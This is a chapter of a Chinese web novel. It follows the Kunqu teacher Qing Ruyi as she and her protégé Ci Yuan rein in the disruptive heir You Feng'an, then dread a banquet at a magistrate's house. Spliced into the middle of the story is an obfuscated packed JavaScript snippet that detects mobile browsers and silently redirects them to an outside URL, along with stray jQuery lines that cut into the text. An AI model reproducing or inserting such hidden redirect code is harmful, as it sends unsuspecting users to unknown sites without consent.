8.阵线
作品:《我捡的戏子怎么就君临天下了?》 游逢安赶忙将折子戏塞入衣领:“不行,这是卿妹妹给我的,都没捂热呢,岂有即刻要回去的道理!”
“师傅,那我怎么办?”辞缘蓦地眨着一双黝黑眸子,满眼委屈,直倒映着少女身形。
那眼神好似要将她看入心底,卿如意立刻压下秀眉,颇有山雨欲来风满楼之势:“游逢安。”
方才还艳阳当照,一道阴风陡然刮来,转眼间头顶乌云密布。
游逢安气势已经怂了一半,他依然死犟,硬着头皮拒绝:“不行。我什么都不会,折子戏故事最适合我。”
辞缘也不强求,他低头看向卿如意,明明是他吃了亏,却还得忍气吞声,甚至反过来柔声劝她:“算了,我也可以学其他的,只是要为难师傅了。”
听听,她家小树苗多善解人意!卿如意都要过意不去了。
“ 不理他,我同你讲,也是一样的。”卿如意耐心哄着少年,“今天我只是多了一项任务而已,不碍事。”
游逢安孤独伫立于亭下,呆若木鸡,他忽然觉得折子戏也索然无味了:“家班其他人呢?怎么就只有我们几个人。”
卿如意状若未闻,自顾自翻开工尺谱,手指点于页面,同辞缘低声授课开小灶。
柱子又说话了:“我突然不想看折子戏了,卿妹妹,你教我唱几句吧。”
“就是这段,杜丽娘在梦中会见柳梦梅,才子佳人相会。”卿如意置若罔闻,直接讲到《惊梦》中高潮桥段。
辞缘点头:“这唱词却分外讲究雕琢,可比之前我接触到的诗词精致秾绮多了。”
卿如意立刻抬眸看向少年,眼底好像有星子闪烁:“你也觉得?昆曲的魅力就在于此!”
游逢安急了,怎么感觉他被排挤了一样?不行!他急中生智:“卿妹妹,那戏子叫什么名字?”
卿如意触发关键词般,立刻收敛笑容,冷冷看向等同于亭台柱子的游逢安,只差将白眼翻上天:“他叫辞缘。”
游逢安碰了一鼻子灰,到底是个血气方刚的少年郎,不由心怀怨怼,反骨之心蠢蠢欲动。
家班其他人陆陆续续到场,挨个坐在石凳上。辞缘遵纪守礼落座,下一秒这个虎头世子便坐在他旁边,狠狠撞了他一下。
二人视线再度交错,一时间竟有龙虎相争之势。
“想来昨日《皂罗袍》中的唱词你们都记住了,我现结合工尺谱最基本的音律,再示范一遍,巩固一下你们今日所学。”
卿如意刚清嗓,“原来”二字尚未唱出口,熟悉的愚蠢嗓音再次不合时宜出现:“我没有工尺谱。卿妹妹,能否把你的给我?”
都已经拿了她折子戏,既要又要,到底想干嘛?卿如意气极反笑,掏出工尺谱,不情不愿塞到他手里。
这下总能安静吧。
她捻着兰花指,才起兴唱了个开头,游逢安又吵闹起来:“不行,卿妹妹,你先给我解说一下,这上面的圈圈点点具体为何。”
卿如意神色不耐,她不明白,怎生得几番刻意针对?
家班众人都敢怒不敢言,如何看不出来这锦衣华服之人,乃故意为之。
“你先自行研究,待我忙完要事再同你细说一二。”卿如意尽可能冷静,谁知这人不依不饶:“不行,我想学的可太多了,趁着阿母没回来,我必须学会最基本的东西。”
好小子,不务正业的相,几时会这般勤奋好学?
卿如意知道他在刻意刁难,但他偏偏拿长公主身份压她:“卿妹妹答应阿母了。”
卿如意忍无可忍,眼见着就要爆发,辞缘却是接过话头,如同救星。
他声音婉转,然如同冬日寒冰:“不若我来教你,师傅她实在是抽不开身。”
卿如意欣慰不已,她家小树苗长大了,晓得为她分担重任了。
凤眸笑出好看的弧度,然少年藏于袖中的手早已握紧成拳,他忍这句“卿妹妹”很久了。
卿如意舒展眉头,赞许看向辞缘:“如此甚好,传道受业倒是也利于你自身技艺精进。”
不等游逢安施法作妖,卿如意便开嗓扬声唱和,家班其他人也跟着一句一句效仿,盖住了他的喧嚣吵闹。
辞缘掐准时机,领着游逢安坐到一旁僻静水榭中,这养尊处优惯了的世子爷翘起二郎腿,目中无人问道:“你要怎么教我?”
辞缘不愠不恼,笑容依旧清隽,纯良如同洁白花朵,却是答非所问:“为人师者,学生当时刻敬之,对否?”
游逢安不解其意,口中称是。
卿如意绵长戏声萦绕辞缘耳畔,他看了眼歌声方向,葳蕤树木遮掩不少视线,真是东风赐良机。
辞缘笑意更甚,好似美丽的罂粟,他翻开工尺谱《牡丹亭》,指了指朱砂批注之处:“把这些都背下来,一炷香时间,我能做到,你也能。”
“开什么玩笑?这么多!”
辞缘挑眉不以为意,话语几乎是从鼻腔间哼出:“我虽不知你是哪家公子少爷,但若是连普通诗词都背不下来,未免也太给令尊令堂丢脸。”
这话可是戳到游逢安痛处了,他怒不可遏指着辞缘:“放肆!你可知道我是谁?”
“方才你可承认了我为师长,忘了?”辞缘笑眯眯轻扣石桌,不怒自威,游逢安只觉背后发凉,“怎么,身为学生,现在想反悔逾矩冒犯师长了?”
游逢安刚姿张开的毛不得不谢了下去,哭丧着脸背书。
辞缘转悠了一圈,折了根最为粗壮的树枝充当教具,严阵以待,时刻监视着世子。
只要游逢安分心看向卿如意方向,辞缘便会扬起树枝,重重敲打桌面。
打得树枝都弯折出一道弧度,唬得游逢安一双眼睛都不敢乱瞟。
男人的直觉告诉自己,如若他不是什么权贵之子,估计早就被抽得满胳膊红痕。
彼时,没了花孔雀聒噪吵闹,卿如意事半功倍,不消片刻家班众人都能对着工尺谱,唱得像模像样。
“你们先自行练习,尝试脱离工尺谱清唱,我去去就回。”卿如意看向对面水榭楼台,木叶葱葱,看不清对面状况。
她不由好奇,她家小树苗用了什么法子,花孔雀居然没学公鸡打鸣。
清风掀起她的裙裾,辞缘早就发现了她一直往这边瞧,立刻敛去浑身肃杀之气。
游逢安正苦恼于背书,他哀嚎一声:“我不会背了,你好歹提醒我一个字!”
湖面凉风不止,辞缘将乱了的墨发别于耳后,语气温吞:“先前明明定好了规矩,背书就得一气呵成,现如今你又反悔,无规矩不成方圆,怎可出尔反尔。”
游逢安嗷嗷抗议,火气直冲天灵盖:“可我不会背啊!你这个当老师的就是这么为难学生的吗?我都被迫读了这么多遍,阿母都未曾这般管我!”
辞缘捏着泛黄书页,犹豫着低头看向诗句,眉眼间小痣衬得他愈发柔弱:“这……”
“到底是谁为难谁?”卿如意的嗓音轻飘飘落于游逢安头顶,吓得他一屁股弹起。
她皮笑肉不笑盯着游逢安,冲辞缘万般自然伸手:“给我。”
辞缘心领神会,手中树枝交接到少女手中。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610660|171925||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
“现在会背了吗?”卿如意有一搭没一搭点着游逢安肩胛,树枝“嗒嗒嗒”,好似下一秒便要“噼啪”甩下。
游逢安欲哭无泪:“会了会了。”
卿如意甩袖坐在辞缘身旁,好整以暇把玩树枝,苦口婆心:“收起你那些顽劣心性,我们都是为了你好。”
辞缘也跟着点头:“我也正有此意。”
“你!”游逢安气急败坏。
“恩?”卿如意眼睛瞪得溜圆,连风都烫人了起来,游逢安立刻缩起脖子,不敢对着辞缘作威作福。
这个辞缘表里不一的很!如意没过来之前,那眼神恨不得将自己碎尸万段。
卿如意联手辞缘彻底制服花孔雀,末了补充一句:“还有,对我这个昆曲接班人尊重点,我们对于戏曲的才识远在于你之上。”
她冲辞缘甜甜一笑,满脸大写的认可,视线回到游逢安脸上却是像淬了寒冰:“他是我最得意的门生,你要是对辞缘鲁莽无礼,那也是对我眼光能力的否定。”
此言分量极重,游逢安就算再想添堵,也不好给心上人拆台了。
辞缘将工尺谱还给卿如意:“弟子惶恐,师傅竟如此看重我。”
卿如意拿稳了册子,其上还留有余温,她淡笑道:“不然我为何要带你回来,若是所有人都能有你这个天赋才气和肚量,我都不知道能省多少事。”
既没有天赋才气,也没有肚量的游逢安如坐针毡,想抗议却插不进嘴。
卿如意一双眼只有昆曲工尺谱,只有这个得意门生,哪里有那只花孔雀的位置。
*
因着今日游逢安打搅拖后腿,卿如意的计划又被迫推迟了。
昆曲故事没能如期道来,那就轮到明天好了。
岂料卿德甫晚上又唤她去书房,犹如晴天霹雳。
“什么?明天?怎会这般急?”卿如意喝了一杯又一杯龙井,“王知州小女儿办春日宴,怎么拖到今晚上才发卿府请帖!”
卿德甫放下手中书卷,无奈看向女儿:“稍安勿躁。今日本是想着,多给你和游世子相处的时间,所以爹才晚上知会你。不怪知州府。”
卿如意更是气得要跳脚:“我不想去!”
“不准耍小性子!”卿德甫皱眉,怎么自家女儿如此浮躁,“你肯定会感兴趣的,因为王知州点明了对我们家班感兴趣,这于你而言不是大展昆曲的好时机吗?”
这会儿卿如意才正了神色,端正坐好,翻脸比翻书还快:“那倒也是。”
等会,王知州这个称谓怎得这般熟悉?卿如意心中涌现不祥预感,她凝神苦思,只听得卿德甫继续往下说道:“你想好明天带哪些伶人去知州府。”
“太多了不好,爹看啊,两个就够了,不多不少,你说呢?”
卿如意终于想起来了,王知州,不就是那个有断袖之癖的狗官吗!
红香楼里对戏曲当众侮辱的酒囊饭袋。
“如意,想什么呢?”
卿如意立刻坚定了眸色,她才是占理那方,无须自乱阵脚。虽说当日是女扮男装,她可不信知州那双鱼眼能瞧出个什么端倪。
“我想好了,明日要带辞缘和轻鸿去知州府。”
卿德甫悲喜交加凝视女儿:“如意啊,今年你愿意去,是好事。但你这次去春日宴可要懂事安分点,莫要同以往一般,因着游世子同旁的世家小姐起纠纷。”
卿如意两眼一黑,又是花孔雀。她发誓,明天绝对会守着辞缘,寸步不离。
对不住了小树苗,当会儿她的挡箭牌吧。